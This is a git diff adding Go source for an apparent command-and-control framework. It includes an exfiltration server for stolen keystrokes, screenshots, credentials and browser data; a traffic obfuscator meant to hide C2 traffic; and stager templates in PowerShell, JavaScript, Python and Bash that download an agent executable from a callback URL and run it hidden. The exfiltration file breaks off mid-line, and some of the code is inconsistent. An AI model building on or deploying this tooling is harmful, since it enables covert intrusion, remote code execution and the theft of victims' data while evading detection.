diff --git a/c2/exfil.go b/c2/exfil.go new file mode 100644 index 0000000..0f18a57 --- /dev/null +++ b/c2/exfil.go @@ -0,0 +1,127 @@ +package c2 + +import ( + "bytes" + "compress/gzip" + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "encoding/base64" + "encoding/json" + "fmt" + "io" + "net/http" + "os" + "path/filepath" + "strconv" + "strings" + "sync" + "time" + "Groxy/logger" +) + +// ExfilType defines the type of data being exfiltrated +type ExfilType string + +const ( + ExfilKeystrokes ExfilType = "keystrokes" + ExfilScreenshot ExfilType = "screenshot" + ExfilFile ExfilType = "file" + ExfilClipboard ExfilType = "clipboard" + ExfilBrowser ExfilType = "browser" + ExfilCredential ExfilType = "credential" + ExfilCommand ExfilType = "command" + ExfilSystem ExfilType = "system" +) + +// ChunkInfo tracks file chunks during exfiltration +type ChunkInfo struct { + AgentID string + Operation string + FileName string + TotalChunks int + ReceivedChunks map[int]bool + Data map[int][]byte + Timestamp time.Time + Mutex sync.Mutex +} + +// ExfilManager handles data exfiltration from agents +type ExfilManager struct { + dataDir string + encryptionKey []byte + activeTransfers map[string]*ChunkInfo + mutex sync.Mutex +} + +// NewExfilManager creates a new exfiltration manager +func NewExfilManager(dataDir string, key []byte) (*ExfilManager, error) { + // Create data directory if it doesn't exist + if err := os.MkdirAll(dataDir, 0755); err != nil { + return nil, fmt.Errorf("failed to create data directory: %v", err) + } + + // Create subdirectories for different exfil types + for _, dir := range []string{"keystrokes", "screenshots", "files", "clipboard", "browser", "credentials", "commands", "system"} { + path := filepath.Join(dataDir, dir) + if err := os.MkdirAll(path, 0755); err != nil { + return nil, fmt.Errorf("failed to create directory %s: %v", path, err) + } + } + + return &ExfilManager{ + dataDir: dataDir, + encryptionKey: key, + activeTransfers: make(map[string]*ChunkInfo), + }, nil +} + +// HandleExfiltration processes incoming exfiltration requests +func (e *ExfilManager) HandleExfiltration(w http.ResponseWriter, r *http.Request) { + // Check required headers + agentID := r.Header.Get("X-Agent-ID") + if agentID == "" { + http.Error(w, "Missing agent ID", http.StatusBadRequest) + return + } + + exfilTypeStr := r.Header.Get("X-Exfil-Type") + exfilType := ExfilType(exfilTypeStr) + if exfilType == "" { + http.Error(w, "Missing exfil type", http.StatusBadRequest) + return + } + + // Process the request based on the exfil type and whether it's chunked + if r.Header.Get("X-Chunked") == "true" { + e.handleChunkedExfil(w, r, agentID, exfilType) + } else { + e.handleSingleExfil(w, r, agentID, exfilType) + } +} + +// handleSingleExfil processes a single-part exfiltration +func (e *ExfilManager) handleSingleExfil(w http.ResponseWriter, r *http.Request, agentID string, exfilType ExfilType) { + // Read the data + data, err := io.ReadAll(r.Body) + if err != nil { + logger.Error("Failed to read exfil data: %v", err) + http.Error(w, "Failed to read data", http.StatusInternalServerError) + return + } + + // Check if the data is encrypted + if r.Header.Get("X-Encrypted") == "true" { + // Decrypt the data + data, err = e.decryptData(data) + if err != nil { + logger.Error("Failed to decrypt exfil data: %v", err) + http.Error(w, "Failed to process data", http.StatusInternalServerError) + return + } + } + + // Check if the data is compressed + if r.Header.Get("X-Compressed") == "true" { + // Decompress the data + data, err = e. \ No newline at end of file diff --git a/c2/obfuscation.go b/c2/obfuscation.go new file mode 100644 index 0000000..6208aa4 --- /dev/null +++ b/c2/obfuscation.go @@ -0,0 +1,246 @@ +package proxy + +import ( + "bytes" + "encoding/base64" + "io" + "net/http" + "strings" + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "encoding/binary" + "fmt" + "Groxy/logger" +) + +// ObfuscationMode defines different traffic hiding techniques +type ObfuscationMode int + +const ( + NoObfuscation ObfuscationMode = iota + HttpHeadersObfuscation + DomainFrontingSimulation + CustomJitterObfuscation +) + +type TrafficObfuscator struct { + mode ObfuscationMode + key []byte // For encryption-based obfuscation +} + +func NewTrafficObfuscator(mode ObfuscationMode) *TrafficObfuscator { + // Generate a random key for encryption + key := make([]byte, 32) + if _, err := rand.Read(key); err != nil { + logger.Error("Failed to generate encryption key: %v", err) + } + + return &TrafficObfuscator{ + mode: mode, + key: key, + } +} + +// ApplyToRequest modifies outgoing requests to disguise C2 traffic +func (t *TrafficObfuscator) ApplyToRequest(req *http.Request, payload []byte) error { + switch t.mode { + case NoObfuscation: + return nil + + case HttpHeadersObfuscation: + // Hide command data in custom headers + encodedPayload := base64.StdEncoding.EncodeToString(payload) + chunks := t.chunkString(encodedPayload, 64) // Split into 64-char chunks + + for i, chunk := range chunks { + req.Header.Set(fmt.Sprintf("X-Data-%d", i), chunk) + } + req.Header.Set("X-Data-Count", fmt.Sprintf("%d", len(chunks))) + + case DomainFrontingSimulation: + // Simulate domain fronting technique + if req.Host != "" { + // Store actual destination in X-Forwarded-For + req.Header.Set("X-Forwarded-For", req.Host) + // Set common CDN host in Host header + req.Host = "cdn.example.com" + req.Header.Set("Host", "cdn.example.com") + } + + // Also encode payload in cookie + if len(payload) > 0 { + encodedPayload := base64.StdEncoding.EncodeToString(payload) + req.AddCookie(&http.Cookie{ + Name: "session", + Value: encodedPayload, + }) + } + + case CustomJitterObfuscation: + // Encrypt payload + encryptedPayload, err := t.encryptData(payload) + if err != nil { + return err + } + + // Include size in first 4 bytes + size := make([]byte, 4) + binary.BigEndian.PutUint32(size, uint32(len(encryptedPayload))) + + // Add random jitter data + jitterSize := t.randomJitterSize(100, 500) + jitter := make([]byte, jitterSize) + rand.Read(jitter) + + // Format: [size(4)][jitter][encrypted_payload] + finalPayload := append(size, jitter...) + finalPayload = append(finalPayload, encryptedPayload...) + + // Replace request body + req.Body = io.NopCloser(bytes.NewReader(finalPayload)) + req.ContentLength = int64(len(finalPayload)) + req.Header.Set("Content-Length", fmt.Sprint(len(finalPayload))) + } + + return nil +} + +// ExtractFromResponse extracts hidden C2 data from responses +func (t *TrafficObfuscator) ExtractFromResponse(res *http.Response) ([]byte, error) { + switch t.mode { + case NoObfuscation: + return io.ReadAll(res.Body) + + case HttpHeadersObfuscation: + countStr := res.Header.Get("X-Data-Count") + if countStr == "" { + return io.ReadAll(res.Body) + } + + var builder strings.Builder + for i := 0; i < len(res.Header); i++ { + chunk := res.Header.Get(fmt.Sprintf("X-Data-%d", i)) + if chunk == "" { + break + } + builder.WriteString(chunk) + } + + // Decode the base64 data + encodedData := builder.String() + return base64.StdEncoding.DecodeString(encodedData) + + case DomainFrontingSimulation: + // Extract data from cookie + for _, cookie := range res.Cookies() { + if cookie.Name == "response" { + return base64.StdEncoding.DecodeString(cookie.Value) + } + } + return io.ReadAll(res.Body) + + case CustomJitterObfuscation: + // Read the entire body + data, err := io.ReadAll(res.Body) + if err != nil { + return nil, err + } + + // Need at least 4 bytes for size + if len(data) < 4 { + return data, nil + } + + // Extract the size + size := binary.BigEndian.Uint32(data[:4]) + + // Calculate where the encrypted payload starts + totalSize := len(data) + payloadStart := totalSize - int(size) + + // Ensure valid payload offset + if payloadStart < 4 || payloadStart >= totalSize { + return data, nil + } + + // Extract and decrypt the payload + encryptedPayload := data[payloadStart:] + return t.decryptData(encryptedPayload) + } + + return nil, fmt.Errorf("unknown obfuscation mode") +} + +// Helper functions +func (t *TrafficObfuscator) chunkString(s string, chunkSize int) []string { + if len(s) == 0 { + return []string{} + } + chunks := make([]string, 0, (len(s)-1)/chunkSize+1) + currentLen := 0 + currentStart := 0 + for i := range s { + currentLen++ + if currentLen == chunkSize { + chunks = append(chunks, s[currentStart:i+1]) + currentLen = 0 + currentStart = i + 1 + } + } + if currentStart < len(s) { + chunks = append(chunks, s[currentStart:]) + } + return chunks +} + +func (t *TrafficObfuscator) randomJitterSize(min, max int) int { + return min + rand.Intn(max-min) +} + +func (t *TrafficObfuscator) encryptData(data []byte) ([]byte, error) { + block, err := aes.NewCipher(t.key) + if err != nil { + return nil, err + } + + // Create GCM mode + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + + // Create nonce + nonce := make([]byte, gcm.NonceSize()) + if _, err := rand.Read(nonce); err != nil { + return nil, err + } + + // Encrypt + ciphertext := gcm.Seal(nonce, nonce, data, nil) + return ciphertext, nil +} + +func (t *TrafficObfuscator) decryptData(data []byte) ([]byte, error) { + block, err := aes.NewCipher(t.key) + if err != nil { + return nil, err + } + + // Create GCM mode + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + + // Extract nonce + nonceSize := gcm.NonceSize() + if len(data) < nonceSize { + return nil, fmt.Errorf("ciphertext too short") + } + + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + + // Decrypt + return gcm.Open(nil, nonce, ciphertext, nil) +} \ No newline at end of file diff --git a/protocol/protocol.go b/c2/protocol.go similarity index 100% rename from protocol/protocol.go rename to c2/protocol.go diff --git a/c2/stagers.go b/c2/stagers.go new file mode 100644 index 0000000..0c929be --- /dev/null +++ b/c2/stagers.go @@ -0,0 +1,296 @@ +package stagers + +import ( + "bytes" + "crypto/rand" + "encoding/base64" + "encoding/hex" + "fmt" + "net/http" + "strings" + "text/template" + "io" + "Groxy/logger" +) + +// StagerType defines different agent delivery methods +type StagerType int + +const ( + StagerPowershell StagerType = iota + StagerHTA + StagerMacro + StagerJavaScript + StagerPython + StagerBash +) + +// StagerConfig holds configuration for stager generation +type StagerConfig struct { + Type StagerType + CallbackURL string + AgentKey string + Obfuscation bool + SleepTime int + JitterPercent int + CustomVars map[string]string +} + +// StagerManager handles creation and serving of stager payloads +type StagerManager struct { + templates map[StagerType]*template.Template + config map[string]StagerConfig // Maps stager IDs to configs +} + +// NewStagerManager creates a new stager manager +func NewStagerManager() *StagerManager { + manager := &StagerManager{ + templates: make(map[StagerType]*template.Template), + config: make(map[string]StagerConfig), + } + + // Initialize templates + psTemplate := ` +$k='{{.AgentKey}}';$i={{.SleepTime}};$j={{.JitterPercent}};$u='{{.CallbackURL}}'; +$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("{{.Payload}}")); +$f="{{if .Obfuscation}}$(Get-Random){{else}}agent{{end}}.exe"; +while($true){try{$r=Invoke-WebRequest -Uri $u -Method POST -Headers @{"X-Agent-Key"=$k}; +[IO.File]::WriteAllBytes($f,$s);Start-Process $f -WindowStyle Hidden;break} +catch{Start-Sleep -Seconds ($i+(Get-Random -Minimum 0 -Maximum ($i*$j/100)))}} +` + + jsTemplate := ` +var key = '{{.AgentKey}}'; +var callback = '{{.CallbackURL}}'; +var sleep = {{.SleepTime}}; +var jitter = {{.JitterPercent}}; + +function downloadAgent() { + var xhr = new XMLHttpRequest(); + xhr.open('POST', callback, true); + xhr.setRequestHeader('X-Agent-Key', key); + xhr.responseType = 'arraybuffer'; + + xhr.onload = function() { + if (this.status === 200) { + var blob = new Blob([this.response], {type: 'application/octet-stream'}); + var a = document.createElement('a'); + a.style = 'display: none'; + document.body.appendChild(a); + var url = window.URL.createObjectURL(blob); + a.href = url; + a.download = '{{if .Obfuscation}}' + Math.random().toString(36).substring(7) + '{{else}}agent{{end}}.exe'; + a.click(); + window.URL.revokeObjectURL(url); + } else { + setTimeout(downloadAgent, sleep * 1000 * (1 + (Math.random() * jitter / 100))); + } + }; + + xhr.onerror = function() { + setTimeout(downloadAgent, sleep * 1000 * (1 + (Math.random() * jitter / 100))); + }; + + xhr.send(); +} + +downloadAgent(); +` + + pythonTemplate := ` +import requests +import time +import random +import base64 +import os +import subprocess +import sys +import tempfile + +KEY = '{{.AgentKey}}' +CALLBACK = '{{.CallbackURL}}' +SLEEP = {{.SleepTime}} +JITTER = {{.JitterPercent}} + +def download_agent(): + headers = {'X-Agent-Key': KEY} + + while True: + try: + r = requests.post(CALLBACK, headers=headers) + if r.status_code == 200: + tmp = tempfile.gettempdir() + agent_name = '{{if .Obfuscation}}' + ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for _ in range(8)) + '{{else}}agent{{end}}.exe' + agent_path = os.path.join(tmp, agent_name) + + with open(agent_path, 'wb') as f: + f.write(r.content) + + if sys.platform.startswith('win'): + subprocess.Popen([agent_path], creationflags=subprocess.CREATE_NO_WINDOW) + else: + os.chmod(agent_path, 0o755) + subprocess.Popen([agent_path]) + + break + except Exception: + jitter_time = SLEEP + (random.random() * SLEEP * JITTER / 100) + time.sleep(jitter_time) + +if __name__ == '__main__': + download_agent() +` + + bashTemplate := `#!/bin/bash + +KEY="{{.AgentKey}}" +CALLBACK="{{.CallbackURL}}" +SLEEP={{.SleepTime}} +JITTER={{.JitterPercent}} + +download_agent() { + while true; do + response=$(curl -s -X POST -H "X-Agent-Key: $KEY" "$CALLBACK") + if [ $? -eq 0 ]; then + {{if .Obfuscation}} + AGENT_NAME=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1) + {{else}} + AGENT_NAME="agent" + {{end}} + + echo "$response" | base64 -d > /tmp/$AGENT_NAME + chmod +x /tmp/$AGENT_NAME + /tmp/$AGENT_NAME & + break + else + # Calculate sleep with jitter + JITTER_TIME=$(echo "$SLEEP + ($RANDOM % ($SLEEP * $JITTER / 100))" | bc) + sleep $JITTER_TIME + fi + done +} + +download_agent +` + + manager.templates[StagerPowershell] = template.Must(template.New("powershell").Parse(psTemplate)) + manager.templates[StagerJavaScript] = template.Must(template.New("javascript").Parse(jsTemplate)) + manager.templates[StagerPython] = template.Must(template.New("python").Parse(pythonTemplate)) + manager.templates[StagerBash] = template.Must(template.New("bash").Parse(bashTemplate)) + + return manager +} + +// CreateStager generates a new stager with the given configuration +func (sm *StagerManager) CreateStager(config StagerConfig) (string, error) { + template, exists := sm.templates[config.Type] + if !exists { + return "", fmt.Errorf("unsupported stager type: %d", config.Type) + } + + // Generate a unique ID for this stager + idBytes := make([]byte, 8) + if _, err := rand.Read(idBytes); err != nil { + return "", err + } + stagerID := hex.EncodeToString(idBytes) + + // Store the config + sm.config[stagerID] = config + + // Generate a dummy payload for template rendering + // In a real implementation, this would be your actual agent payload + dummyPayload := make([]byte, 64) + rand.Read(dummyPayload) + config.CustomVars = make(map[string]string) + config.CustomVars["Payload"] = base64.StdEncoding.EncodeToString(dummyPayload) + + // Render the template + var buf bytes.Buffer + if err := template.Execute(&buf, config); err != nil { + return "", err + } + + return stagerID, nil +} + +// GetStager retrieves a generated stager by ID +func (sm *StagerManager) GetStager(id string) (string, string, error) { + config, exists := sm.config[id] + if !exists { + return "", "", fmt.Errorf("stager not found: %s", id) + } + + template, exists := sm.templates[config.Type] + if !exists { + return "", "", fmt.Errorf("template not found for stager type: %d", config.Type) + } + + // Generate the actual agent payload here, for demonstration we use dummy data + dummyPayload := make([]byte, 64) + rand.Read(dummyPayload) + config.CustomVars = make(map[string]string) + config.CustomVars["Payload"] = base64.StdEncoding.EncodeToString(dummyPayload) + + var buf bytes.Buffer + if err := template.Execute(&buf, config); err != nil { + return "", "", err + } + + // Determine content type based on stager type + var contentType string + switch config.Type { + case StagerPowershell: + contentType = "text/plain" + case StagerJavaScript: + contentType = "application/javascript" + case StagerPython: + contentType = "text/x-python" + case StagerBash: + contentType = "text/x-shellscript" + default: + contentType = "text/plain" + } + + return buf.String(), contentType, nil +} + +// ServeStager handles HTTP requests for stagers +func (sm *StagerManager) ServeStager(w http.ResponseWriter, r *http.Request) { + // Extract stager ID from the request path + path := strings.TrimPrefix(r.URL.Path, "/stagers/") + if path == "" { + http.Error(w, "Stager ID required", http.StatusBadRequest) + return + } + + stagerContent, contentType, err := sm.GetStager(path) + if err != nil { + logger.Error("Failed to retrieve stager %s: %v", path, err) + http.Error(w, "Stager not found", http.StatusNotFound) + return + } + + // Serve the stager + w.Header().Set("Content-Type", contentType) + w.Header().Set("Content-Disposition", fmt.Sprintf("attachment; filename=stager%s", getExtension(contentType))) + io.WriteString(w, stagerContent) + + logger.Info("Served stager %s with content type %s", path, contentType) +} + +// Helper to determine file extension based on content type +func getExtension(contentType string) string { + switch contentType { + case "text/plain": + return ".ps1" + case "application/javascript": + return ".js" + case "text/x-python": + return ".py" + case "text/x-shellscript": + return ".sh" + default: + return ".txt" + } +} \ No newline at end of file